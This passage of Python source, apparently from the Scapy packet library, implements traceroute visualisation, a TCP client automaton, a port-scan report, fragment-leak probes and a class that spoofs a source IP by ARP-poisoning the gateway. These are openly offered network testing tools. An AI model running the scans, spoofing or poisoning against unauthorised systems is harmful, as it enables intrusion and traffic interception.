MATPLOTLIB_INLINED,\n        MATPLOTLIB_DEFAULT_PLOT_KARGS\n    )\n\n    # Filter TCP segments which source address is 'ip'\n    tmp = (self._elt2pkt(x) for x in self.res)\n    b = (x for x in tmp if IP in x and x[IP].src == ip and TCP in x)\n\n    # Build a list of tuples (creation_time, replied_timestamp)\n    c = []\n    tsf = ICMPTimeStampField(\"\", None)\n    for p in b:\n        opts = p.getlayer(TCP).options\n        for o in opts:\n            if o[0] == \"Timestamp\":\n                c.append((p.time, tsf.any2i(\"\", o[1][0])))\n\n    # Stop if the list is empty\n    if not c:\n        warning(\"No timestamps found in packet list\")\n        return []\n\n    # Prepare the data that will be plotted\n    first_creation_time = c[0][0]\n    first_replied_timestamp = c[0][1]\n\n    def _wrap_data(ts_tuple, wrap_seconds=2000):\n        \"\"\"Wrap the list of tuples.\"\"\"\n\n        ct, rt = ts_tuple  # (creation_time, replied_timestamp)\n        X = ct % wrap_seconds\n        Y = ((ct - first_creation_time) - ((rt - first_replied_timestamp) / 1000.0))  # noqa: E501\n\n        return X, Y\n\n    data = [_wrap_data(e) for e in c]\n\n    # Mimic the default gnuplot output\n    if kargs == {}:\n        kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS\n    lines = plt.plot(data, **kargs)\n\n    # Call show() if matplotlib is not inlined\n    if not MATPLOTLIB_INLINED:\n        plt.show()\n\n    return lines\n\n\n_PacketList.timeskew_graph = _packetlist_timeskew_graph\n\n\n# Create a new packet list\nclass TracerouteResult(SndRcvList):\n    __slots__ = [\"graphdef\", \"graphpadding\", \"graphASres\", \"padding\", \"hloc\",\n                 \"nloc\"]\n\n    def __init__(self, res=None, name=\"Traceroute\", stats=None):\n        SndRcvList.__init__(self, res, name, stats)\n        self.graphdef = None\n        self.graphASres = None\n        self.padding = 0\n        self.hloc = None\n        self.nloc = None\n\n    def show(self):\n        return self.make_table(lambda s, r: (s.sprintf(\"%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}\"),  # noqa: E501\n                                             s.ttl,\n                                             r.sprintf(\"%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}\")))  # noqa: E501\n\n    def get_trace(self):\n        trace = {}\n        for s, r in self.res:\n            if IP not in s:\n                continue\n            d = s[IP].dst\n            if d not in trace:\n                trace[d] = {}\n            trace[d][s[IP].ttl] = r[IP].src, ICMP not in r\n        for k in trace.values():\n            try:\n                m = min(x for x, y in k.items() if y[1])\n            except ValueError:\n                continue\n            for li in list(k):  # use list(): k is modified in the loop\n                if li > m:\n                    del k[li]\n        return trace\n\n    def trace3D(self, join=True):\n        \"\"\"Give a 3D representation of the traceroute.\n        right button: rotate the scene\n        middle button: zoom\n        shift-left button: move the scene\n        left button on a ball: toggle IP displaying\n        double-click button on a ball: scan ports 21,22,23,25,80 and 443 and display the result\"\"\"  # noqa: E501\n        # When not ran from a notebook, vpython pooly closes itself\n        # using os._exit once finished. We pack it into a Process\n        import multiprocessing\n        p = multiprocessing.Process(target=self.trace3D_notebook)\n        p.start()\n        if join:\n            p.join()\n\n    def trace3D_notebook(self):\n        \"\"\"Same than trace3D, used when ran from Jupyter notebooks\"\"\"\n        trace = self.get_trace()\n        import vpython\n\n        class IPsphere(vpython.sphere):\n            def __init__(self, ip, **kargs):\n                vpython.sphere.__init__(self, **kargs)\n                self.ip = ip\n                self.label = None\n                self.setlabel(self.ip)\n                self.last_clicked = None\n                self.full = False\n                self.savcolor = vpython.vec(*self.color.value)\n\n            def fullinfos(self):\n                self.full = True\n                self.color = vpython.vec(1, 0, 0)\n                a, b = sr(IP(dst=self.ip) / TCP(dport=[21, 22, 23, 25, 80, 443], flags=\"S\"), timeout=2, verbose=0)  # noqa: E501\n                if len(a) == 0:\n                    txt = \"%s:\\nno results\" % self.ip\n                else:\n                    txt = \"%s:\\n\" % self.ip\n                    for s, r in a:\n                        txt += r.sprintf(\"{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\\n\")  # noqa: E501\n                self.setlabel(txt, visible=1)\n\n            def unfull(self):\n                self.color = self.savcolor\n                self.full = False\n                self.setlabel(self.ip)\n\n            def setlabel(self, txt, visible=None):\n                if self.label is not None:\n                    if visible is None:\n                        visible = self.label.visible\n                    self.label.visible = 0\n                elif visible is None:\n                    visible = 0\n                self.label = vpython.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible)  # noqa: E501\n\n            def check_double_click(self):\n                try:\n                    if self.full or not self.label.visible:\n                        return False\n                    if self.last_clicked is not None:\n                        return (time.time() - self.last_clicked) < 0.5\n                    return False\n                finally:\n                    self.last_clicked = time.time()\n\n            def action(self):\n                self.label.visible ^= 1\n                if self.full:\n                    self.unfull()\n\n        vpython.scene = vpython.canvas()\n        vpython.scene.title = \"<center><u><b>%s</b></u></center>\" % self.listname  # noqa: E501\n        vpython.scene.append_to_caption(\n            re.sub(\n                r'\\%(.*)\\%',\n                r'<span style=\"color: red\">\\1</span>',\n                re.sub(\n                    r'\\`(.*)\\`',\n                    r'<span style=\"color: #3399ff\">\\1</span>',\n                    \"\"\"<u><b>Commands:</b></u>\n%Click% to toggle information about a node.\n%Double click% to perform a quick web scan on this node.\n<u><b>Camera usage:</b></u>\n`Right button drag or Ctrl-drag` to rotate \"camera\" to view scene.\n`Shift-drag` to move the object around.\n`Middle button or Alt-drag` to drag up or down to zoom in or out.\n  On a two-button mouse, `middle is wheel or left + right`.\nTouch screen: pinch/extend to zoom, swipe or two-finger rotate.\"\"\"\n                )\n            )\n        )\n        vpython.scene.exit = True\n        rings = {}\n        tr3d = {}\n        for i in trace:\n            tr = trace[i]\n            tr3d[i] = []\n            for t in range(1, max(tr) + 1):\n                if t not in rings:\n                    rings[t] = []\n                if t in tr:\n                    if tr[t] not in rings[t]:\n                        rings[t].append(tr[t])\n                    tr3d[i].append(rings[t].index(tr[t]))\n                else:\n                    rings[t].append((\"unk\", -1))\n                    tr3d[i].append(len(rings[t]) - 1)\n\n        for t in rings:\n            r = rings[t]\n            tmp_len = len(r)\n            for i in range(tmp_len):\n                if r[i][1] == -1:\n                    col = vpython.vec(0.75, 0.75, 0.75)\n                elif r[i][1]:\n                    col = vpython.color.green\n                else:\n                    col = vpython.color.blue\n\n                s = IPsphere(pos=vpython.vec((tmp_len - 1) * vpython.cos(2 * i * vpython.pi / tmp_len), (tmp_len - 1) * vpython.sin(2 * i * vpython.pi / tmp_len), 2 * t),  # noqa: E501\n                             ip=r[i][0],\n                             color=col)\n                for trlst in tr3d.values():\n                    if t <= len(trlst):\n                        if trlst[t - 1] == i:\n                            trlst[t - 1] = s\n        forecol = colgen(0.625, 0.4375, 0.25, 0.125)\n        for trlst in tr3d.values():\n            col = vpython.vec(*next(forecol))\n            start = vpython.vec(0, 0, 0)\n            for ip in trlst:\n                vpython.cylinder(pos=start, axis=ip.pos - start, color=col, radius=0.2)  # noqa: E501\n                start = ip.pos\n\n        vpython.rate(50)\n\n        # Keys handling\n        # TODO: there is currently no way of closing vpython correctly\n        # https://github.com/BruceSherwood/vpython-jupyter/issues/36\n        # def keyboard_press(ev):\n        #     k = ev.key\n        #     if k == \"esc\" or k == \"q\":\n        #         pass  # TODO: close\n        #\n        # vpython.scene.bind('keydown', keyboard_press)\n\n        # Mouse handling\n        def mouse_click(ev):\n            if ev.press == \"left\":\n                o = vpython.scene.mouse.pick\n                if o and isinstance(o, IPsphere):\n                    if o.check_double_click():\n                        if o.ip == \"unk\":\n                            return\n                        o.fullinfos()\n                    else:\n                        o.action()\n\n        vpython.scene.bind('mousedown', mouse_click)\n\n    def world_trace(self):\n        \"\"\"Display traceroute results on a world map.\"\"\"\n\n        # Check that the geoip2 module can be imported\n        # Doc: http://geoip2.readthedocs.io/en/latest/\n        from scapy.libs.matplot import plt, MATPLOTLIB, MATPLOTLIB_INLINED\n\n        try:\n            # GeoIP2 modules need to be imported as below\n            import geoip2.database\n            import geoip2.errors\n        except ImportError:\n            log_runtime.error(\n                \"Cannot import geoip2. Won't be able to plot the world.\"\n            )\n            return []\n        # Check availability of database\n        if not conf.geoip_city:\n            log_runtime.error(\n                \"Cannot import the geolite2 CITY database.\\n\"\n                \"Download it from http://dev.maxmind.com/geoip/geoip2/geolite2/\"  # noqa: E501\n                \" then set its path to conf.geoip_city\"\n            )\n            return []\n        # Check availability of plotting devices\n        try:\n            import cartopy.crs as ccrs\n        except ImportError:\n            log_runtime.error(\n                \"Cannot import cartopy.\\n\"\n                \"More infos on http://scitools.org.uk/cartopy/docs/latest/installing.html\"  # noqa: E501\n            )\n            return []\n        if not MATPLOTLIB:\n            log_runtime.error(\n                \"Matplotlib is not installed. Won't be able to plot the world.\"\n            )\n            return []\n\n        # Open & read the GeoListIP2 database\n        try:\n            db = geoip2.database.Reader(conf.geoip_city)\n        except Exception:\n            log_runtime.error(\n                \"Cannot open geoip2 database at %s\",\n                conf.geoip_city\n            )\n            return []\n\n        # Regroup results per trace\n        ips = {}\n        rt = {}\n        ports_done = {}\n        for s, r in self.res:\n            ips[r.src] = None\n            if s.haslayer(TCP) or s.haslayer(UDP):\n                trace_id = (s.src, s.dst, s.proto, s.dport)\n            elif s.haslayer(ICMP):\n                trace_id = (s.src, s.dst, s.proto, s.type)\n            else:\n                trace_id = (s.src, s.dst, s.proto, 0)\n            trace = rt.get(trace_id, {})\n            if not r.haslayer(ICMP) or r.type != 11:\n                if trace_id in ports_done:\n                    continue\n                ports_done[trace_id] = None\n            trace[s.ttl] = r.src\n            rt[trace_id] = trace\n\n        # Get the addresses locations\n        trt = {}\n        for trace_id in rt:\n            trace = rt[trace_id]\n            loctrace = []\n            for i in range(max(trace)):\n                ip = trace.get(i, None)\n                if ip is None:\n                    continue\n                # Fetch database\n                try:\n                    sresult = db.city(ip)\n                except geoip2.errors.AddressNotFoundError:\n                    continue\n                loctrace.append((sresult.location.longitude, sresult.location.latitude))  # noqa: E501\n            if loctrace:\n                trt[trace_id] = loctrace\n\n        # Load the map renderer\n        plt.figure(num='Scapy')\n        ax = plt.axes(projection=ccrs.PlateCarree())\n        # Draw countries\n        ax.coastlines()\n        ax.stock_img()\n        # Set normal size\n        ax.set_global()\n        # Add title\n        plt.title(\"Scapy traceroute results\")\n\n        from matplotlib.collections import LineCollection\n        from matplotlib import colors as mcolors\n        colors_cycle = iter(mcolors.BASE_COLORS)\n        lines = []\n\n        # Split traceroute measurement\n        for key, trc in trt.items():\n            # Get next color\n            color = next(colors_cycle)\n            # Gather mesurments data\n            data_lines = [(trc[i], trc[i + 1]) for i in range(len(trc) - 1)]\n            # Create line collection\n            line_col = LineCollection(data_lines, linewidths=2,\n                                      label=key[1],\n                                      color=color)\n            lines.append(line_col)\n            ax.add_collection(line_col)\n            # Create map points\n            lines.extend([ax.plot(*x, marker='.', color=color) for x in trc])\n\n        # Generate legend\n        ax.legend()\n\n        # Call show() if matplotlib is not inlined\n        if not MATPLOTLIB_INLINED:\n            plt.show()\n\n        # Clean\n        ax.remove()\n\n        # Return the drawn lines\n        return lines\n\n    def make_graph(self, ASres=None, padding=0):\n        self.graphASres = ASres\n        self.graphpadding = padding\n        ips = {}\n        rt = {}\n        ports = {}\n        ports_done = {}\n        for s, r in self.res:\n            r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r  # noqa: E501\n            s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s  # noqa: E501\n            ips[r.src] = None\n            if TCP in s:\n                trace_id = (s.src, s.dst, 6, s.dport)\n            elif UDP in s:\n                trace_id = (s.src, s.dst, 17, s.dport)\n            elif ICMP in s:\n                trace_id = (s.src, s.dst, 1, s.type)\n            else:\n                trace_id = (s.src, s.dst, s.proto, 0)\n            trace = rt.get(trace_id, {})\n            ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl  # noqa: E501\n            if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r):  # noqa: E501\n                if trace_id in ports_done:\n                    continue\n                ports_done[trace_id] = None\n                p = ports.get(r.src, [])\n                if TCP in r:\n                    p.append(r.sprintf(\"<T%ir,TCP.sport%> %TCP.sport% %TCP.flags%\"))  # noqa: E501\n                    trace[ttl] = r.sprintf('\"%r,src%\":T%ir,TCP.sport%')\n                elif UDP in r:\n                    p.append(r.sprintf(\"<U%ir,UDP.sport%> %UDP.sport%\"))\n                    trace[ttl] = r.sprintf('\"%r,src%\":U%ir,UDP.sport%')\n                elif ICMP in r:\n                    p.append(r.sprintf(\"<I%ir,ICMP.type%> ICMP %ICMP.type%\"))\n                    trace[ttl] = r.sprintf('\"%r,src%\":I%ir,ICMP.type%')\n                else:\n                    p.append(r.sprintf(\"{IP:<P%ir,proto%> IP %proto%}{IPv6:<P%ir,nh%> IPv6 %nh%}\"))  # noqa: E501\n                    trace[ttl] = r.sprintf('\"%r,src%\":{IP:P%ir,proto%}{IPv6:P%ir,nh%}')  # noqa: E501\n                ports[r.src] = p\n            else:\n                trace[ttl] = r.sprintf('\"%r,src%\"')\n            rt[trace_id] = trace\n\n        # Fill holes with unk%i nodes\n        unknown_label = incremental_label(\"unk%i\")\n        blackholes = []\n        bhip = {}\n        for rtk in rt:\n            trace = rt[rtk]\n            max_trace = max(trace)\n            for n in range(min(trace), max_trace):\n                if n not in trace:\n                    trace[n] = next(unknown_label)\n            if rtk not in ports_done:\n                if rtk[2] == 1:  # ICMP\n                    bh = \"%s %i/icmp\" % (rtk[1], rtk[3])\n                elif rtk[2] == 6:  # TCP\n                    bh = \"%s %i/tcp\" % (rtk[1], rtk[3])\n                elif rtk[2] == 17:  # UDP\n                    bh = '%s %i/udp' % (rtk[1], rtk[3])\n                else:\n                    bh = '%s %i/proto' % (rtk[1], rtk[2])\n                ips[bh] = None\n                bhip[rtk[1]] = bh\n                bh = '\"%s\"' % bh\n                trace[max_trace + 1] = bh\n                blackholes.append(bh)\n\n        # Find AS numbers\n        ASN_query_list = set(x.rsplit(\" \", 1)[0] for x in ips)\n        if ASres is None:\n            ASNlist = []\n        else:\n            ASNlist = ASres.resolve(*ASN_query_list)\n\n        ASNs = {}\n        ASDs = {}\n        for ip, asn, desc, in ASNlist:\n            if asn is None:\n                continue\n            iplist = ASNs.get(asn, [])\n            if ip in bhip:\n                if ip in ports:\n                    iplist.append(ip)\n                iplist.append(bhip[ip])\n            else:\n                iplist.append(ip)\n            ASNs[asn] = iplist\n            ASDs[asn] = desc\n\n        backcolorlist = colgen(\"60\", \"86\", \"ba\", \"ff\")\n        forecolorlist = colgen(\"a0\", \"70\", \"40\", \"20\")\n\n        s = \"digraph trace {\\n\"\n\n        s += \"\\n\\tnode [shape=ellipse,color=black,style=solid];\\n\\n\"\n\n        s += \"\\n#ASN clustering\\n\"\n        for asn in ASNs:\n            s += '\\tsubgraph cluster_%s {\\n' % asn\n            col = next(backcolorlist)\n            s += '\\t\\tcolor=\"#%s%s%s\";' % col\n            s += '\\t\\tnode [fillcolor=\"#%s%s%s\",style=filled];' % col\n            s += '\\t\\tfontsize = 10;'\n            s += '\\t\\tlabel = \"%s\\\\n[%s]\"\\n' % (asn, ASDs[asn])\n            for ip in ASNs[asn]:\n\n                s += '\\t\\t\"%s\";\\n' % ip\n            s += \"\\t}\\n\"\n\n        s += \"#endpoints\\n\"\n        for p in ports:\n            s += '\\t\"%s\" [shape=record,color=black,fillcolor=green,style=filled,label=\"%s|%s\"];\\n' % (p, p, \"|\".join(ports[p]))  # noqa: E501\n\n        s += \"\\n#Blackholes\\n\"\n        for bh in blackholes:\n            s += '\\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\\n' % bh  # noqa: E501\n\n        if padding:\n            s += \"\\n#Padding\\n\"\n            pad = {}\n            for snd, rcv in self.res:\n                if rcv.src not in ports and rcv.haslayer(conf.padding_layer):\n                    p = rcv.getlayer(conf.padding_layer).load\n                    if p != b\"\\x00\" * len(p):\n                        pad[rcv.src] = None\n            for rcv in pad:\n                s += '\\t\"%s\" [shape=triangle,color=black,fillcolor=red,style=filled];\\n' % rcv  # noqa: E501\n\n        s += \"\\n\\tnode [shape=ellipse,color=black,style=solid];\\n\\n\"\n\n        for rtk in rt:\n            s += \"#---[%s\\n\" % repr(rtk)\n            s += '\\t\\tedge [color=\"#%s%s%s\"];\\n' % next(forecolorlist)\n            trace = rt[rtk]\n            maxtrace = max(trace)\n            for n in range(min(trace), maxtrace):\n                s += '\\t%s ->\\n' % trace[n]\n            s += '\\t%s;\\n' % trace[maxtrace]\n\n        s += \"}\\n\"\n        self.graphdef = s\n\n    def graph(self, ASres=conf.AS_resolver, padding=0, **kargs):\n        \"\"\"x.graph(ASres=conf.AS_resolver, other args):\n        ASres=None          : no AS resolver => no clustering\n        ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net)\n        ASres=AS_resolver_cymru(): use whois.cymru.com whois database\n        ASres=AS_resolver(server=\"whois.ra.net\")\n        type: output type (svg, ps, gif, jpg, etc.), passed to dot's \"-T\" option  # noqa: E501\n        target: filename or redirect. Defaults pipe to Imagemagick's display program  # noqa: E501\n        prog: which graphviz program to use\"\"\"\n        if (self.graphdef is None or\n            self.graphASres != ASres or\n                self.graphpadding != padding):\n            self.make_graph(ASres, padding)\n\n        return do_graph(self.graphdef, **kargs)\n\n\n@conf.commands.register\ndef traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, filter=None, timeout=2, verbose=None, **kargs):  # noqa: E501\n    \"\"\"Instant TCP traceroute\n\n       :param target:  hostnames or IP addresses\n       :param dport:   TCP destination port (default is 80)\n       :param minttl:  minimum TTL (default is 1)\n       :param maxttl:  maximum TTL (default is 30)\n       :param sport:   TCP source port (default is random)\n       :param l4:      use a Scapy packet instead of TCP\n       :param filter:  BPF filter applied to received packets\n       :param timeout: time to wait for answers (default is 2s)\n       :param verbose: detailed output\n       :return: an TracerouteResult, and a list of unanswered packets\"\"\"\n    if verbose is None:\n        verbose = conf.verb\n    if filter is None:\n        # we only consider ICMP error packets and TCP packets with at\n        # least the ACK flag set *and* either the SYN or the RST flag\n        # set\n        filter = \"(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))\"  # noqa: E501\n    if l4 is None:\n        a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport),  # noqa: E501\n                  timeout=timeout, filter=filter, verbose=verbose, **kargs)\n    else:\n        # this should always work\n        filter = \"ip\"\n        a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / l4,\n                  timeout=timeout, filter=filter, verbose=verbose, **kargs)\n\n    a = TracerouteResult(a.res)\n    if verbose:\n        a.show()\n    return a, b\n\n\n@conf.commands.register\ndef traceroute_map(ips, **kargs):\n    \"\"\"Util function to call traceroute on multiple targets, then\n    show the different paths on a map.\n\n    :param ips: a list of IPs on which traceroute will be called\n    :param kargs: (optional) kwargs, passed to traceroute\n    \"\"\"\n    kargs.setdefault(\"verbose\", 0)\n    return traceroute(ips)[0].world_trace()\n\n#############################\n#  Simple TCP client stack  #\n#############################\n\n\nclass TCP_client(Automaton):\n    \"\"\"\n    Creates a TCP Client Automaton.\n    This automaton will handle TCP 3-way handshake.\n\n    Usage: the easiest usage is to use it as a SuperSocket.\n        >>> a = TCP_client.tcplink(HTTP, \"www.google.com\", 80)\n        >>> a.send(HTTPRequest())\n        >>> a.recv()\n\n    :param ip: the ip to connect to\n    :param port:\n    :param src: (optional) use another source IP\n    :param sport: (optional) the TCP source port (default: random)\n    :param seq: (optional) initial TCP sequence number (default: random)\n    \"\"\"\n\n    def parse_args(self, ip, port, srcip=None, sport=None, seq=None, ack=0, **kargs):\n        from scapy.sessions import TCPSession\n        self.dst = str(Net(ip))\n        self.dport = port\n        self.sport = sport if sport is not None else random.randrange(0, 2**16)\n        self.l4 = IP(dst=ip, src=srcip) / TCP(\n            sport=self.sport, dport=self.dport,\n            flags=0,\n            seq=seq if seq is not None else random.randrange(0, 2**32),\n            ack=ack,\n        )\n        self.src = self.l4.src\n        self.sack = self.l4[TCP].ack\n        self.rel_seq = None\n        self.rcvbuf = TCPSession()\n        bpf = \"host %s  and host %s and port %i and port %i\" % (self.src,\n                                                                self.dst,\n                                                                self.sport,\n                                                                self.dport)\n        Automaton.parse_args(self, filter=bpf, **kargs)\n\n    def _transmit_packet(self, pkt):\n        \"\"\"Transmits a packet from TCPSession to the SuperSocket\"\"\"\n        self.oi.tcp.send(raw(pkt[TCP].payload))\n\n    def master_filter(self, pkt):\n        return (IP in pkt and\n                pkt[IP].src == self.dst and\n                pkt[IP].dst == self.src and\n                TCP in pkt and\n                pkt[TCP].sport == self.dport and\n                pkt[TCP].dport == self.sport and\n                self.l4[TCP].seq >= pkt[TCP].ack and  # XXX: seq/ack 2^32 wrap up  # noqa: E501\n                ((self.l4[TCP].ack == 0) or (self.sack <= pkt[TCP].seq <= self.l4[TCP].ack + pkt[TCP].window)))  # noqa: E501\n\n    @ATMT.state(initial=1)\n    def START(self):\n        pass\n\n    @ATMT.state()\n    def SYN_SENT(self):\n        pass\n\n    @ATMT.state()\n    def ESTABLISHED(self):\n        pass\n\n    @ATMT.state()\n    def LAST_ACK(self):\n        pass\n\n    @ATMT.state(final=1)\n    def CLOSED(self):\n        pass\n\n    @ATMT.state(stop=1)\n    def STOP(self):\n        pass\n\n    @ATMT.state()\n    def STOP_SENT_FIN_ACK(self):\n        pass\n\n    @ATMT.condition(START)\n    def connect(self):\n        raise self.SYN_SENT()\n\n    @ATMT.action(connect)\n    def send_syn(self):\n        self.l4[TCP].flags = \"S\"\n        self.send(self.l4)\n        self.l4[TCP].seq += 1\n\n    @ATMT.receive_condition(SYN_SENT)\n    def synack_received(self, pkt):\n        if pkt[TCP].flags.SA:\n            raise self.ESTABLISHED().action_parameters(pkt)\n\n    @ATMT.action(synack_received)\n    def send_ack_of_synack(self, pkt):\n        self.l4[TCP].ack = pkt[TCP].seq + 1\n        self.l4[TCP].flags = \"A\"\n        self.send(self.l4)\n\n    @ATMT.receive_condition(ESTABLISHED)\n    def incoming_data_received(self, pkt):\n        if not isinstance(pkt[TCP].payload, (NoPayload, conf.padding_layer)):\n            raise self.ESTABLISHED().action_parameters(pkt)\n\n    @ATMT.action(incoming_data_received)\n    def receive_data(self, pkt):\n        data = raw(pkt[TCP].payload)\n        if data and self.l4[TCP].ack == pkt[TCP].seq:\n            self.sack = self.l4[TCP].ack\n            self.l4[TCP].ack += len(data)\n            self.l4[TCP].flags = \"A\"\n            # Answer with an Ack\n            self.send(self.l4)\n            # Process data - will be sent to the SuperSocket through this\n            pkt = self.rcvbuf.process(pkt)\n            if pkt:\n                self._transmit_packet(pkt)\n\n    @ATMT.ioevent(ESTABLISHED, name=\"tcp\", as_supersocket=\"tcplink\")\n    def outgoing_data_received(self, fd):\n        raise self.ESTABLISHED().action_parameters(fd.recv())\n\n    @ATMT.action(outgoing_data_received)\n    def send_data(self, d):\n        self.l4[TCP].flags = \"PA\"\n        self.send(self.l4 / d)\n        self.l4[TCP].seq += len(d)\n\n    @ATMT.receive_condition(ESTABLISHED)\n    def reset_received(self, pkt):\n        if pkt[TCP].flags.R:\n            raise self.CLOSED()\n\n    @ATMT.receive_condition(ESTABLISHED)\n    def fin_received(self, pkt):\n        if pkt[TCP].flags.F:\n            raise self.LAST_ACK().action_parameters(pkt)\n\n    @ATMT.action(fin_received)\n    def send_finack(self, pkt):\n        self.l4[TCP].flags = \"FA\"\n        self.l4[TCP].ack = pkt[TCP].seq + 1\n        self.send(self.l4)\n        self.l4[TCP].seq += 1\n\n    @ATMT.receive_condition(LAST_ACK)\n    def ack_of_fin_received(self, pkt):\n        if pkt[TCP].flags.A:\n            raise self.CLOSED()\n\n    @ATMT.condition(STOP)\n    def stop_requested(self):\n        raise self.STOP_SENT_FIN_ACK()\n\n    @ATMT.action(stop_requested)\n    def stop_send_finack(self):\n        self.l4[TCP].flags = \"FA\"\n        self.send(self.l4)\n        self.l4[TCP].seq += 1\n\n    @ATMT.receive_condition(STOP_SENT_FIN_ACK)\n    def stop_fin_received(self, pkt):\n        if pkt[TCP].flags.F:\n            raise self.CLOSED().action_parameters(pkt)\n\n    @ATMT.action(stop_fin_received)\n    def stop_send_ack(self, pkt):\n        self.l4[TCP].flags = \"A\"\n        self.l4[TCP].ack = pkt[TCP].seq + 1\n        self.send(self.l4)\n\n    @ATMT.timeout(SYN_SENT, 1)\n    def syn_ack_timeout(self):\n        raise self.CLOSED()\n\n    @ATMT.timeout(STOP_SENT_FIN_ACK, 1)\n    def stop_ack_timeout(self):\n        raise self.CLOSED()\n\n\n#####################\n#  Reporting stuff  #\n#####################\n\n\n@conf.commands.register\ndef report_ports(target, ports):\n    \"\"\"portscan a target and output a LaTeX table\nreport_ports(target, ports) -> string\"\"\"\n    ans, unans = sr(IP(dst=target) / TCP(dport=ports), timeout=5)\n    rep = \"\\\\begin{tabular}{|r|l|l|}\\n\\\\hline\\n\"\n    for s, r in ans:\n        if not r.haslayer(ICMP):\n            if r.payload.flags == 0x12:\n                rep += r.sprintf(\"%TCP.sport% & open & SA \\\\\\\\\\n\")\n    rep += \"\\\\hline\\n\"\n    for s, r in ans:\n        if r.haslayer(ICMP):\n            rep += r.sprintf(\"%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\\\\\\n\")  # noqa: E501\n        elif r.payload.flags != 0x12:\n            rep += r.sprintf(\"%TCP.sport% & closed & TCP %TCP.flags% \\\\\\\\\\n\")\n    rep += \"\\\\hline\\n\"\n    for i in unans:\n        rep += i.sprintf(\"%TCP.dport% & ? & unanswered \\\\\\\\\\n\")\n    rep += \"\\\\hline\\n\\\\end{tabular}\\n\"\n    return rep\n\n\n@conf.commands.register\ndef IPID_count(lst, funcID=lambda x: x[1].id, funcpres=lambda x: x[1].summary()):  # noqa: E501\n    \"\"\"Identify IP id values classes in a list of packets\n\nlst:      a list of packets\nfuncID:   a function that returns IP id values\nfuncpres: a function used to summarize packets\"\"\"\n    idlst = [funcID(e) for e in lst]\n    idlst.sort()\n    classes = [idlst[0]]\n    classes += [t[1] for t in zip(idlst[:-1], idlst[1:]) if abs(t[0] - t[1]) > 50]  # noqa: E501\n    lst = [(funcID(x), funcpres(x)) for x in lst]\n    lst.sort()\n    print(\"Probably %i classes: %s\" % (len(classes), classes))\n    for id, pr in lst:\n        print(\"%5i\" % id, pr)\n\n\n@conf.commands.register\ndef fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0, count=None):\n    load = \"XXXXYYYYYYYYYY\"\n    pkt = IP(dst=target, id=RandShort(), options=b\"\\x00\" * 40, flags=1)\n    pkt /= UDP(sport=sport, dport=sport) / load\n    s = conf.L3socket()\n    intr = 0\n    found = {}\n    try:\n        while count is None or count:\n            if count is not None and isinstance(count, int):\n                count -= 1\n            try:\n                if not intr:\n                    s.send(pkt)\n                sin = select.select([s], [], [], timeout)[0]\n                if not sin:\n                    continue\n                ans = s.recv(1600)\n                if not isinstance(ans, IP):  # TODO: IPv6\n                    continue\n                if not isinstance(ans.payload, ICMP):\n                    continue\n                if not isinstance(ans.payload.payload, IPerror):\n                    continue\n                if ans.payload.payload.dst != target:\n                    continue\n                if ans.src != target:\n                    print(\"leak from\", ans.src)\n                if not ans.haslayer(conf.padding_layer):\n                    continue\n                leak = ans.getlayer(conf.padding_layer).load\n                if leak not in found:\n                    found[leak] = None\n                    linehexdump(leak, onlyasc=onlyasc)\n            except KeyboardInterrupt:\n                if intr:\n                    raise\n                intr = 1\n    except KeyboardInterrupt:\n        pass\n\n\n@conf.commands.register\ndef fragleak2(target, timeout=0.4, onlyasc=0, count=None):\n    found = {}\n    try:\n        while count is None or count:\n            if count is not None and isinstance(count, int):\n                count -= 1\n\n            pkt = IP(dst=target, options=b\"\\x00\" * 40, proto=200)\n            pkt /= \"XXXXYYYYYYYYYYYY\"\n            p = sr1(pkt, timeout=timeout, verbose=0)\n            if not p:\n                continue\n            if conf.padding_layer in p:\n                leak = p[conf.padding_layer].load\n                if leak not in found:\n                    found[leak] = None\n                    linehexdump(leak, onlyasc=onlyasc)\n    except Exception:\n        pass\n\n\n@conf.commands.register\nclass connect_from_ip:\n    \"\"\"\n    Open a TCP socket to a host:port while spoofing another IP.\n\n    :param host: the host to connect to\n    :param port: the port to connect to\n    :param srcip: the IP to spoof. the cache of the gateway will\n                  be poisonned with this IP.\n    :param poison: (optional, default True) ARP poison the gateway (or next hop),\n                   so that it answers us (only one packet).\n    :param timeout: (optional) the socket timeout.\n\n    Example - Connect to 192.168.0.1:80 spoofing 192.168.0.2::\n\n        from scapy.layers.http import HTTP, HTTPRequest\n        client = connect_from_ip(\"192.168.0.1\", 80, \"192.168.0.2\")\n        sock = SSLStreamSocket(client.sock, HTTP)\n        resp = sock.sr1(HTTP() / HTTPRequest(Path=\"/\"))\n\n    Example - Connect to 192.168.0.1:443 with TLS wrapping spoofing 192.168.0.2::\n\n        import ssl\n        from scapy.layers.http import HTTP, HTTPRequest\n        context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n        context.check_hostname = False\n        context.verify_mode = ssl.CERT_NONE\n        client = connect_from_ip(\"192.168.0.1\", 443, \"192.168.0.2\")\n        sock = context.wrap_socket(client.sock)\n        sock = SSLStreamSocket(client.sock, HTTP)\n        resp = sock.sr1(HTTP() / 